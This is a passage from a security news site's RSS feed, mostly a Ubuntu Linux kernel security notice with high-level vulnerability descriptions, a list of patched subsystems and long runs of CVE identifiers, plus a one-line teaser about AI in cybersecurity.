CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[How Can AI Be Used to Improve Cybersecurity Measures?]]></title>
<description><![CDATA[Learn how AI improves cybersecurity through faster threat detection, incident response, AI monitoring, behavioral analysis and security automation.]]></description>
<link>https://tsecurity.de/de/3683388/it-security-nachrichten/how-can-ai-be-used-to-improve-cybersecurity-measures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683388/it-security-nachrichten/how-can-ai-be-used-to-improve-cybersecurity-measures/</guid>
<pubDate>Tue, 21 Jul 2026 12:38:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn how AI improves cybersecurity through faster threat detection, incident response, AI monitoring, behavioral analysis and security automation.]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-1: Linux kernel (GCP FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 12:16:02 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
